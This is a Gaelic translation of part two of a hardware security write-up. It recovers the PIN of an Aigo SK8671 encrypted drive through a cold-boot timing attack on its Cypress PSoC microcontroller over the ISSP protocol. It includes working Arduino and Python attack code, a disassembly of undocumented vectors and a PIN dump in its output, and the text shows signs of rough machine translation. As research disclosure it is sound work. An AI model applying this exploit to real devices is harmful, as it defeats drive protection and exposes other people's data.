Is e seo an dàrna pàirt agus an earrann mu dheireadh den artaigil mu bhith a’ slaodadh dhràibhearan fèin-chrioptachaidh taobh a-muigh. Leig leam do chuimhneachadh gun tug co-obraiche dhomh draibhear cruaidh Patriot (Aigo) SK8671 o chionn ghoirid, agus chuir mi romham a thionndadh air ais, agus a-nis tha mi a’ roinn na thàinig a-mach às. Mus leugh thu nas fhaide, bi cinnteach gun leugh thu artaigilean.
4. Tòisichidh sinn a' toirt dump bhon dhràibhear flash PSoC a-staigh
Mar sin, tha a h-uile dad a’ nochdadh (mar a stèidhich sinn sa [chiad phàirt] ()) gu bheil an còd PIN air a stòradh ann an doimhneachd flash an PSoC. Mar sin, feumaidh sinn na doimhneachdan flash sin a leughadh. Air beulaibh na h-obrach riatanach:
- smachd a ghabhail air “conaltradh” leis an microcontroller;
- lorg dòigh air faighinn a-mach a bheil an “conaltradh” seo air a dhìon bho leughadh bhon taobh a-muigh;
- lorg dòigh air faighinn seachad air an dìon.
Tha dà àite ann far a bheil e ciallach coimhead airson còd PIN dligheach:
- cuimhne flash a-staigh;
- SRAM, far am faodar an còd prìne a stòradh gus a choimeas ris a’ chòd prìne a chuir an neach-cleachdaidh a-steach.
A’ coimhead air adhart, bheir mi fa-near gun deach agam fhathast air dump den draibhear flash PSoC a-staigh a ghabhail - a’ dol seachad air an t-siostam tèarainteachd aige le bhith a’ cleachdadh ionnsaigh bathar-cruaidh ris an canar “cold boot tracing” - às deidh dhomh comasan neo-chlàraichte protocol ISSP a thionndadh air ais. Leig seo leam an dearbh chòd PIN a dhumpadh gu dìreach.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Còd a’ phrògraim mu dheireadh:
- ;
- .
5. Pròtacal ISSP
5.1. Dè th' ann an ISSP
Faodaidh “conaltradh” le microcontroller a bhith a’ ciallachadh diofar rudan: bho “neach-reic gu neach-reic” gu eadar-obrachadh a ’cleachdadh protocol sreathach (mar eisimpleir, ICSP airson Microchip's PIC).
Tha a phròtacal seilbh fhèin aig Cypress airson seo, ris an canar ISSP (pròtacal prògramadh sreathach in-siostam), a tha air a mhìneachadh gu ìre ann an . cuideachd a’ toirt beagan fiosrachaidh. Tha cuideachd OpenSource co-ionann ris an canar HSSP (cleachdaidh sinn e beagan nas fhaide air adhart). Tha ISSP ag obair mar a leanas:
- ath-thòiseachadh PSoC;
- cuir a-mach an àireamh draoidheachd gu prìne dàta sreathach an PSoC seo; cuir a-steach modh prògramadh taobh a-muigh;
- cuir òrdughan, a tha nan teudan fada ris an canar “vectors”.
Tha na sgrìobhainnean ISSP a’ mìneachadh na vectaran sin airson dìreach beagan òrdughan:
- Tòiseachadh-1
- Tòiseachadh-2
- Tòiseachadh-3 (roghainnean 3V agus 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, far dddddddd=bacadh #
- URRAMACH MHUINNTIR
- PRÒGRAM-BLOCACH
- FEAR-CIUIL
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, far a bheil DDDDDDDD = dàta a-mach, aaaaaa = seòladh (6 pìosan)
- SGRÌOBH-BYTE: 10010aaaaaaddddddd111, far dddddddd = dàta a-steach, aaaaaa = seòladh (6 pìosan)
- SGEULACHD
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, far a bheil DDDDDDDDDDDDDDDD = dàta a-mach: sgrùdadh inneal
- BLAR URRAMACH
Mar eisimpleir, an vectar airson Beginize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Tha an aon fhaid aig a h-uile vectar: 22 pìosan. Tha beagan fiosrachaidh a bharrachd ann an sgrìobhainnean HSSP air ISSP: “Chan eil ann am vectar ISSP ach beagan sreath a tha a’ riochdachadh seata stiùiridh. ”
5.2. Vectors dì-mhilleadh
Feuch an obraich sinn a-mach dè a tha a’ dol an seo. An toiseach, ghabh mi ris gur e dreachan amh de stiùireadh M8C a bh’ anns na h-aon vectaran sin, ach às deidh dhomh sùil a thoirt air a’ bheachd-bharail seo, fhuair mi a-mach nach robh opcodes na h-obrach a’ freagairt.
An uairsin rinn mi googled air an vectar gu h-àrd agus thàinig mi tarsainn sgrùdadh far a bheil an t-ùghdar, ged nach eil e a’ dol a-steach gu mion-fhiosrachadh, a’ toirt seachad molaidhean feumail: “Bidh gach stiùireadh a’ tòiseachadh le trì pìosan a fhreagras ri aon de cheithir mnemonics (leugh bho RAM, sgrìobh gu RAM, leugh clàr, sgrìobh clàr). An uairsin tha 8 pìosan seòlaidh ann, agus an uairsin 8 pìosan dàta (leugh no sgrìobh) agus mu dheireadh trì pìosan stad.”
An uairsin bha e comasach dhomh fiosrachadh fìor fheumail a chruinneachadh bhon roinn ROM Sgrùdaidh (SROM). . Tha SROM na ROM le còd cruaidh anns an PSoC a bheir seachad gnìomhan goireis (ann an dòigh coltach ri Syscall) airson còd prògram a tha a’ ruith ann an àite luchd-cleachdaidh:
- 00h: SWBootReset
- 01h: LeughBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: Leughadh Clàr
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Le bhith a’ dèanamh coimeas eadar ainmean vector agus gnìomhan SROM, is urrainn dhuinn na diofar obrachaidhean a tha a’ faighinn taic bhon phròtacal seo a mhapadh a rèir nam paramadairean SROM ris a bheil dùil. Taing dha seo, is urrainn dhuinn a’ chiad trì pìosan de vectaran ISSP a dhì-chòdachadh:
- 100 => "wrem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Ach, chan fhaighear tuigse iomlan air pròiseasan air-chip ach tro chonaltradh dìreach leis an PSoC.
5.3. Conaltradh le PSoC
Bhon a tha Dirk Petrautsky air a bhith ann mu thràth Còd HSSP aig Cypress air Arduino, chleachd mi Arduino Uno gus ceangal ri ceanglaiche ISSP air a’ mheur-chlàr.
Thoir an aire, ri linn an rannsachaidh agam, gun do dh’ atharraich mi còd Dirk beagan. Gheibh thu am mion-atharrachadh agam air GitHub: agus an sgriobt Python co-fhreagarrach airson conaltradh le Arduino, anns an stòr agam .
Mar sin, a’ cleachdadh Arduino, cha do chleachd mi ach na vectaran “oifigeil” airson “conaltradh”. Dh’ fheuch mi ris an ROM a-staigh a leughadh a’ cleachdadh an àithne VERIFY. Mar a bhiodh dùil, cha b’ urrainn dhomh seo a dhèanamh. Is dòcha air sgàth gu bheil pìosan dìon leughaidh air an cur an gnìomh taobh a-staigh an draibhear flash.
An uairsin chruthaich mi beagan de na vectaran sìmplidh agam fhìn airson cuimhne / clàran a sgrìobhadh agus a leughadh. Thoir an aire gun urrainn dhuinn an SROM gu lèir a leughadh ged a tha an draibhear flash air a dhìon!
5.4. Comharrachadh chlàran air-chip
Às deidh dhomh coimhead air na vectaran “disassembled”, fhuair mi a-mach gu bheil an inneal a’ cleachdadh clàran gun sgrìobhainn (0xF8-0xFA) gus còdan op M8C a shònrachadh, a thèid a chuir gu bàs gu dìreach, a’ dol seachad air an dìon. Leig seo leam grunn chòdan op a ruith leithid “ADD”, “MOV A, X”, “PUSH” no “JMP”. Taing dhaibh (le bhith a’ coimhead air na frith-bhuaidhean a th’ aca air clàran) bha e comasach dhomh faighinn a-mach dè na clàran gun sgrìobhainn a bha nan clàran cunbhalach (A, X, SP agus PC).
Mar thoradh air an sin, tha an còd “disassembled” a ghineadh leis an inneal HSSP_disas.rb a ’coimhead mar seo (chuir mi beachdan ris airson soilleireachd):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00 # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00 # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06 # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокумментированная операция: выполнить внешний опкод
5.5. Feartan tèarainteachd
Aig an ìre seo is urrainn dhomh conaltradh a dhèanamh leis an PSoC mu thràth, ach chan eil fiosrachadh earbsach agam fhathast mu phìosan tèarainteachd an flash drive. Chuir e iongnadh mòr orm leis nach eil Cypress a’ toirt dòigh sam bith do neach-cleachdaidh an inneal faighinn a-mach a bheil an dìon air a ghnìomhachadh. Chladhaich mi nas doimhne a-steach do Google gus tuigsinn mu dheireadh gun deach an còd HSSP a thug Cypress seachad ùrachadh às deidh dha Dirk am mion-atharrachadh aige a leigeil ma sgaoil. Agus mar sin! Tha an vectar ùr seo air nochdadh:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12A’ cleachdadh an vectar seo (faic read_security_data ann psoc.py), gheibh sinn a h-uile pìos tèarainteachd ann an SRAM aig 0x80, far a bheil dà phìos airson gach bloc dìon.
Tha an toradh dubhach: tha a h-uile dad air a dhìon anns a’ mhodh “cuir à comas leughadh is sgrìobhadh taobh a-muigh”. Mar sin, chan e a-mhàin nach urrainn dhuinn dad a leughadh bho dhràibhear flash, ach chan urrainn dhuinn dad a sgrìobhadh nas motha (mar eisimpleir, gus dumper ROM a chuir a-steach an sin). Agus is e an aon dòigh air an dìon a chuir dheth a bhith a’ cuir às don chip gu lèir. 🙁
6. A 'chiad ionnsaigh (dh'fhàillig): ROMX
Ach, is urrainn dhuinn an cleas a leanas fheuchainn: leis gu bheil comas againn còdan neo-riaghailteach a chuir an gnìomh, carson nach cuir thu an gnìomh ROMX, a thathas a’ cleachdadh airson cuimhne flash a leughadh? Tha deagh chothrom aig an dòigh-obrach seo soirbheachadh. Leis gu bheil an gnìomh ReadBlock a leughas dàta bhon SROM (a tha air a chleachdadh le vectaran) a’ sgrùdadh a bheil e air a ghairm bhon ISSP. Ach, dh’ fhaodadh nach eil an leithid de sgrùdadh aig an opcode ROMX. Mar sin seo an còd Python (às deidh dha beagan chlasaichean cuideachaidh a chuir ris a’ chòd Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byteGu mì-fhortanach chan eil an còd seo ag obair. 🙁 No an àite sin bidh e ag obair, ach gheibh sinn na còdan op againn fhèin aig an toradh (0x28 0x30 0x40)! Chan eil mi a’ smaoineachadh gu bheil gnìomhachd co-fhreagarrach an inneil na eileamaid de dhìon leughaidh. Tha seo nas coltaiche ri cleas innleadaireachd: nuair a thathar a’ cur an gnìomh còdan taobh a-muigh, thèid am bus ROM ath-stiùireadh gu bufair sealach.
7. Dàrna ionnsaigh: Cold Boot Tracing
Leis nach do dh ’obraich an cleas ROMX, thòisich mi a’ smaoineachadh mu atharrachadh eile den chleas seo - air a mhìneachadh san fhoillseachadh .
7.1. Buileachadh
Tha sgrìobhainnean ISSP a’ toirt seachad an vectar a leanas airson CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Tha seo gu bunaiteach a’ gairm gnìomh SROM 0x07, mar a chithear anns na sgrìobhainnean (mèinn clò eadailteach):
Tha an gnìomh seo checkum dearbhaidh. Bidh e a’ tomhas seic 16-bit den àireamh de bhlocaichean a chaidh a shònrachadh leis an neach-cleachdaidh ann an aon bhanca flash, a’ tòiseachadh bho neoni. Tha am paramadair BLOCKID air a chleachdadh gus a dhol seachad air an àireamh de bhlocaichean a thèid a chleachdadh nuair a thathar a’ tomhas an t-seic. Cha dèan luach "1" ach an t-seic airson bloc neoni; ach Bidh “0” ag adhbhrachadh gun tèid an t-suim iomlan de na 256 blocaichean den bhanca flash a thomhas. Thèid an seic 16-bit a thilleadh tro KEY1 agus KEY2. Bidh am paramadair KEY1 a’ stòradh na pìosan ìosal 8 den checksum, agus tha am paramadair KEY2 a’ stòradh na pìosan 8 àrd-òrdugh. Airson innealan le grunn bhancaichean flash, canar gnìomh checksum airson gach fear fa leth. Tha an àireamh banca leis an obraich e air a shuidheachadh leis a’ chlàr FLS_PR1 (le bhith a’ suidheachadh a’ phìos a tha ann a fhreagras ris a’ bhanca flash targaid).
Thoir an aire gur e seiceam sìmplidh a tha seo: tha na bytes dìreach air an cur aon às deidh a chèile; chan eil quirks CRC ann. A bharrachd air an sin, le fios agam gu bheil seata glè bheag de chlàran aig cridhe M8C, ghabh mi ris nuair a thathar a’ tomhas an t-seic, gun tèid luachan eadar-mheadhanach a chlàradh anns na h-aon caochladairean a thèid chun toradh aig a’ cheann thall: KEY1 (0xF8) / KEY2 ( 0xF9).
Mar sin ann an teòiridh tha an ionnsaigh agam a’ coimhead mar seo:
- Bidh sinn a’ ceangal tro ISSP.
- Bidh sinn a’ tòiseachadh air an àireamhachadh checksum a’ cleachdadh an vectar CHECKSUM-SETUP.
- Bidh sinn ag ath-thòiseachadh am pròiseasar às deidh ùine ainmichte T.
- Leugh sinn RAM gus an checksum gnàthach C.
- Dèan ceumannan 3 agus 4 a-rithist, ag àrdachadh T beagan gach turas.
- Bidh sinn a’ faighinn air ais dàta bho dhràibhear flash le bhith a’ toirt air falbh an t-seic C a bh’ ann roimhe bhon fhear a th’ ann an-dràsta.
Ach, tha duilgheadas ann: tha an vectar Beginize-1 a dh’ fheumas sinn a chuir às deidh ath-thòiseachadh a ’dol thairis air KEY1 agus KEY2:
1100101000000000000000 # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Bidh an còd seo a’ sgrìobhadh thairis air an t-seic prìseil againn le bhith a’ gairm Calibrate1 (gnìomh SROM 9)... Is dòcha gun urrainn dhuinn dìreach an àireamh draoidheachd a chuir (bho thoiseach a’ chòd gu h-àrd) gus a dhol a-steach don mhodh prògramaidh, agus an uairsin an SRAM a leughadh? Agus tha, tha e ag obair! Tha an còd Arduino a chuireas an ionnsaigh seo an gnìomh gu math sìmplidh:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Leugh checkum_delay.
- Ruith àireamhachadh checksum (send_checksum_v).
- Fuirich airson ùine shònraichte; a 'toirt aire do na duilgheadasan a leanas:
- Chuir mi seachad tòrr ùine gus an d’ fhuair mi a-mach dè a thachair ag obair gu ceart a-mhàin le dàil nach eil nas àirde na 16383 μs;
- agus an sin mharbh mi a rithist an aon ùine gus an d' fhuair mi a-mach gu bheil dàil Microseconds, ma thèid 0 a thoirt thuige mar chuideachadh, ag obair gu tur ceàrr!
- Ath-thòisich am PSoC gu modh prògramadh (bidh sinn dìreach a’ cur an àireamh draoidheachd, gun a bhith a’ cur vectaran tòiseachaidh).
Còd deireannach ann am Python:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Ann an ùine ghoirid, dè a bhios an còd seo a’ dèanamh:
- Ath-thòisich am PSoC (agus cuiridh e àireamh draoidheachd thuige).
- A’ cur làn vectaran tòiseachaidh.
- Cuir fòn gu gnìomh Arduino Cmnd_STK_START_CSUM (0x85), far a bheil an dàil ann am microseconds air a dhol seachad mar pharamadair.
- Leughadh an checksum (0xF8 agus 0xF9) agus an clàr gun sgrìobhainn 0xF1.
Tha an còd seo air a chur gu bàs 10 tursan ann an 1 microsecond. Tha 0xF1 air a ghabhail a-steach an seo oir b’ e an aon chlàr a dh’ atharraich nuair a bhathas a’ tomhas an t-seic. Is dòcha gur e seòrsa de chaochladair sealach a th’ ann a bhios an aonad loidsig àireamhachd a’ cleachdadh. Thoir fa-near don hack grànda a bhios mi a’ cleachdadh gus an Arduino ath-shuidheachadh a ’cleachdadh picocom nuair a stadas an Arduino a’ nochdadh comharran beatha (gun fhios carson).
7.2. Leugh an toradh
Tha coltas mar seo air toradh an sgriobt Python (sìmplidh airson leughadh):
DELAY F1 F8 F9 # F1 – вышеупомянутый неизвестный регистр
# F8 младший байт контрольной суммы
# F9 старший байт контрольной суммы
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01 # Итак, 0x117-0xE7: 0x30Le bhith ga ràdh, tha duilgheadas againn: leis gu bheil sinn ag obair le fìor checksum, chan eil byte null ag atharrachadh an luach a chaidh a leughadh. Ach, leis gu bheil am modh àireamhachaidh gu lèir (8192 bytes) a’ toirt 0,1478 diogan (le atharrachaidhean beaga gach uair a thèid a ruith), a tha co-ionann ri timcheall air 18,04 μs gach byte, is urrainn dhuinn an ùine seo a chleachdadh gus luach an t-seic a sgrùdadh aig amannan iomchaidh. Airson a 'chiad ruith, tha a h-uile dad gu math furasta a leughadh, oir tha fad a' mhodh coimpiutaireachd an-còmhnaidh cha mhòr mar a tha e. Ach, chan eil deireadh a’ chnap-starra seo cho ceart leis gu bheil na “mion ghluasadan tìm” air gach ruith ag èirigh gu bhith cudromach:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDSin 10 dumps airson gach dàil microsecond. Tha an ùine obrachaidh iomlan airson a bhith a’ dumpadh a h-uile 8192 bytes de dhràibhear flash timcheall air 48 uairean.
7.3. Ath-thogail binary flash
Chan eil mi fhathast air crìoch a chuir air a’ chòd a sgrìobhadh a nì ath-chruthachadh gu tur air còd prògram an flash drive, a’ toirt aire do na gluasadan ùine gu lèir. Ach, tha mi air toiseach a 'chòd seo ath-nuadhachadh. Gus dèanamh cinnteach gun do rinn mi e ceart, chuir mi às dha le bhith a’ cleachdadh m8cdis:
0000: 80 67 jmp 0068h ; Reset vector
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Paging mode changed from 3 to 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retA’ coimhead gu math so-chreidsinneach!
7.4. Lorg an seòladh stòraidh còd PIN
A-nis gun urrainn dhuinn an checksum a leughadh aig na h-amannan a dh’ fheumas sinn, is urrainn dhuinn gu furasta faighinn a-mach ciamar agus càite an atharraich e nuair a nì sinn:
- cuir a-steach an còd PIN ceàrr;
- atharraich an còd pin.
An toiseach, gus an seòladh stòraidh tuairmseach a lorg, ghabh mi dump checksum ann an àrdachaidhean 10 ms às deidh ath-thòiseachadh. An uairsin chuir mi a-steach am PIN ceàrr agus rinn mi an aon rud.
Cha robh an toradh gu math tlachdmhor, oir bha mòran atharrachaidhean ann. Ach aig a’ cheann thall bha e comasach dhomh faighinn a-mach gun do dh’ atharraich an t-seic an àiteigin eadar 120000 µs agus 140000 µs de dhàil. Ach bha an “pincode” a sheall mi an sin gu tur ceàrr - air sgàth artifact den mhodh dàil Microseconds, a nì rudan neònach nuair a thèid 0 a thoirt thuige.
An uairsin, às deidh dhomh faisg air 3 uairean a chaitheamh, chuimhnich mi gu bheil an gairm siostam SROM CheckSum a ’faighinn argamaid mar chur-a-steach a tha a’ sònrachadh an àireamh de bhlocaichean airson an t-seic! Sin. is urrainn dhuinn gu furasta seòladh stòraidh a’ chòd PIN agus a’ chunntair “oidhirpean ceàrr” a lorg, le neo-mhearachdachd suas ri bloc 64-byte.
Thug na ciad ruith agam an toradh a leanas:
An uairsin dh'atharraich mi an còd PIN bho "123456" gu "1234567" agus fhuair mi:
Mar sin, tha coltas gu bheil an còd PIN agus cuntair oidhirpean ceàrr air an stòradh ann am bloc Àir. 126.
7.5. A’ gabhail dump de bhloc Àir. 126
Bu chòir bloc #126 a bhith suidhichte an àiteigin timcheall air 125x64x18 = 144000μs, bho thoiseach an àireamhachaidh checksum, anns an làn dump agam, agus tha e a’ coimhead gu math so-chreidsinneach. An uairsin, às deidh dhomh grunn chnapan neo-dhligheach a chuir a-mach le làimh (mar thoradh air cruinneachadh “mion ghluasadan ùine”), thàinig mi gu crìch a’ faighinn na bytes sin (aig àm dàil 145527 μs):
Tha e gu math follaiseach gu bheil an còd PIN air a stòradh ann an cruth gun chrioptachadh! Chan eil na luachan sin, gu dearbh, air an sgrìobhadh ann an còdan ASCII, ach mar a thionndaidh e, tha iad a’ nochdadh na leughaidhean a chaidh a thoirt bhon mheur-chlàr capacitive.
Mu dheireadh, ruith mi beagan a bharrachd dheuchainnean gus faighinn a-mach càite an deach a’ chunntair droch oidhirp a stòradh. Seo an toradh:
0xFF - a 'ciallachadh "oidhirpean 15" agus bidh e a' lùghdachadh le gach oidhirp a dh'fhàillig.
7.6. Ath-bheothachadh còd PIN
Seo an còd grànda agam a tha a’ cur na tha gu h-àrd ri chèile:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printSeo toradh a chur gu bàs:
$ ./psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hooray! Ag obair!
Thoir an aire gu bheil na luachan latency a chleachd mi dualtach a bhith buntainneach ri aon PSoC sònraichte - am fear a chleachd mi.
8. Dè an ath rud?
Mar sin, leig dhuinn geàrr-chunntas a dhèanamh air taobh PSoC, ann an co-theacsa ar draibhidh Aigo:
- is urrainn dhuinn SRAM a leughadh eadhon ged a thèid a leughadh fo dhìon;
- Is urrainn dhuinn an dìon an-aghaidh swipe a sheachnadh le bhith a’ cleachdadh ionnsaigh lorg bròg fuar agus a’ leughadh a’ chòd PIN gu dìreach.
Ach, tha cuid de lochdan air an ionnsaigh againn mar thoradh air duilgheadasan sioncronaidh. Dh'fhaodadh e bhith air a leasachadh mar a leanas:
- sgrìobh goireas gus an dàta toraidh a gheibhear mar thoradh air ionnsaigh “lorg bròg fuar” a dhì-chòdachadh gu ceart;
- cleachd inneal FPGA gus dàil ùine nas mionaidiche a chruthachadh (no cleachd timers bathar-cruaidh Arduino);
- feuch ionnsaigh eile: cuir a-steach còd PIN a tha ceàrr a dh’aona ghnothach, ath-thòisich agus dump RAM, an dòchas gun tèid an còd PIN ceart a shàbhaladh ann an RAM airson coimeas a dhèanamh. Ach, chan eil seo cho furasta a dhèanamh air Arduino, leis gu bheil ìre comharra Arduino 5 volts, fhad ‘s a tha am bòrd a tha sinn a’ sgrùdadh ag obair le comharran 3,3 bholt.
Is e aon rud inntinneach a dh’ fhaodadh a bhith a ’cluich leis an ìre bholtachd gus faighinn seachad air an dìon leughaidh. Nam biodh an dòigh-obrach seo ag obair, bhiodh e comasach dhuinn dàta gu tur ceart fhaighinn bhon dreach flash - an àite a bhith an urra ri bhith a’ leughadh checksum le dàil ùine neo-mhearachdach.
Leis gur dòcha gu bheil an SROM a’ leughadh na pìosan dìon tro ghairm siostam ReadBlock, b’ urrainn dhuinn an aon rud a dhèanamh ri air blog Dmitry Nedospasov - ath-chur an gnìomh ionnsaigh Chris Gerlinski, a chaidh ainmeachadh aig a 'cho-labhairt .
Is e rud spòrsail eile a dh’ fhaodadh a bhith air a dhèanamh a’ chùis a bhleith bhon chip: dump SRAM a ghabhail, fiosan siostam gun sgrìobhainn agus so-leòntachd a chomharrachadh.
9. Co-dhùnadh
Mar sin, tha dìon an draibhidh seo a’ fàgail mòran ri bhith air a mhiannachadh, leis gu bheil e a’ cleachdadh microcontroller cunbhalach (chan e “cruadhaichte”) gus an còd PIN a stòradh... A bharrachd air an sin, cha do choimhead mi (fhathast) air mar a tha cùisean a’ dol le dàta crioptachadh air an inneal seo!
